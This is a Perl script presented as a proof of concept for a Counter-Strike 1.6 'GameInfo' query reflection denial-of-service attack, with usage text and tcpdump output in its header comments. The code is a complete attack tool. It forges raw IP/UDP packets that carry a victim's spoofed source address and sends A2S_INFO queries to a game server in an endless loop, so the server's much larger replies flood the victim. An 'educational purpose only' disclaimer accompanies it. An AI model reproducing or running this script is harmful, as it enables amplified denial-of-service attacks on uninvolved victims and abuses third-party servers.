#!/usr/bin/perl
#
#  Counter-Strike 1.6 'GameInfo' Query Reflection DoS
#  Proof Of Concept
#
#  Copyright 2015 (c) Todor Donev 
#  todor.donev@gmail.com
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  http://pastebin.com/u/hackerscommunity 
#
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational 
#  purpose ONLY!
#
#  See also, UDP-based Amplification Attacks:
#  https://www.us-cert.gov/ncas/alerts/TA14-017A
#
#  # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010
#  [ Counter-Strike 1.6 'GameInfo' query reflection dos poc
#  [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10  
#  ^C
#
#  # tcpdump -i eth0 -c4 port 27010
#  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
#  listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
#  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
#  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
#  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
#  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
#  4 packets captured
#  4 packets received by filter
#  0 packets dropped by kernel


use strict;
use Socket;
use warnings;
no warnings 'uninitialized';

print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";
die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);
my $css         = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
my $victim      = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
my $port        = $ARGV[2] || '27015';                  # Int between 1 and 65535        Default: 27015
die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);
if (!defined $css || !defined $victim) {
    print "[ Usg: $0 <cstrike server> <victim> <port>\n";
    print "[ Default port: 27015\n";
    print "[ <todor.donev\@gmail.com> Todor Donev\n";
    exit;
}

print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";
socket(RAW, AF_INET, SOCK_RAW, 255)             || die $!;
setsockopt(RAW, 0, 1, 1)                        || die $!;
main();

    # Main program
sub main {
    my $packet;
    
    $packet = iphdr();
    $packet .= udphdr();
    $packet .= cshdr();
    # b000000m...
    send_packet($packet);
}

    # IP header (Layer 3)
sub iphdr {
    my $ip_ver         	= 4;                                    # IP Version 4                  (4 bits)
    my $iphdr_len      	= 5;                                    # IP Header Length              (4 bits)
    my $ip_tos         	= 0;                                    # Differentiated Services       (8 bits)
    my $ip_total_len   	= $iphdr_len + 20;                      # IP Header Length + Data      (16 bits)
    my $ip_frag_id     	= 0;                                    # Identification Field         (16 bits)
    my $ip_frag_flag   	= 000;                                  # IP Frag Flags (R DF MF)       (3 bits)
    my $ip_frag_offset 	= 0000000000000;                        # IP Fragment Offset           (13 bits)
    my $ip_ttl         	= 255;                                  # IP TTL                        (8 bits)
    my $ip_proto       	= 17;                                   # IP Protocol                   (8 bits)
    my $ip_checksum    	= 0;                                    # IP Checksum                  (16 bits)

    # IP Packet
	my $iphdr       = pack(
                        'H2 H2 n n B16 h2 c n a4 a4',
                        $ip_ver . $iphdr_len, $ip_tos, 
                        $ip_total_len, $ip_frag_id, 
                        $ip_frag_flag . $ip_frag_offset,
                        $ip_ttl, $ip_proto, $ip_checksum,
                        $victim, $css
                        );
                        return $iphdr;
}

    # UDP Header (Layer 4)
sub udphdr {
    my $udp_src_port	= 31337;                        # UDP Sort Port         (16 bits) (0-65535)
    my $udp_dst_port	= $port;                        # UDP Dest Port         (16 btis) (0-65535)
    my $udp_len		= 8 + length(cshdr());          # UDP Length            (16 bits) (0-65535)
    my $udp_checksum 	= 0;                            # UDP Checksum          (16 bits) (XOR of header)

    # UDP Packet
    my $udphdr		= pack(
			'n n n n',
			$udp_src_port, 
			$udp_dst_port,
			$udp_len, 
			$udp_checksum
			);
	return $udphdr;
}

   # Counter-Strike 'GameInfo' request 
sub cshdr {

#
# https://developer.valvesoftware.com/wiki/Server_queries
#
# https://developer.valvesoftware.com/wiki/Source_RCON_Protocol
# Requests
# The server responds to 5 queries:
#
#          A2S_INFO   'T' (0x54) 
#    Basic information about the server. 
#          A2S_PLAYER 'U' (0x55)  
#    Details about each player on the server. 
#          A2S_RULES  'V' (0x56) 
#    The rules the server is using. 
#          A2A_PING   'i' (0x69)
#    Ping the server. (DEPRECATED) 
# A2S_SERVERQUERY_GETCHALLENGE  'W' (0x57)
#    Returns a challenge number for use in the player and rules query. (DEPRECATED) 
#
# Queries should be sent in UDP packets to the listen port of the server. 
#
 
# 25 bytes - A2S_INFO
    my $query            = "\xff\xff\xff\xff\x54";      # 0000   ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69  ....TSource Engi
       $query           .= "\x53\x6f\x75\x72\x63";      # 0010   6e 65 20 51 75 65 72 79 00                       ne Query.
       $query           .= "\x65\x20\x45\x6e\x67";	
       $query           .= "\x69\x6e\x65\x20\x51";	
       $query           .= "\x75\x65\x72\x79\x00";	

    my $cshdr            = pack('a*', $query);
return $cshdr;
}

sub send_packet {
    while(1){
    select(undef, undef, undef, 0.40);                  # Sleep 400 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css))  || die $!;
   }
}


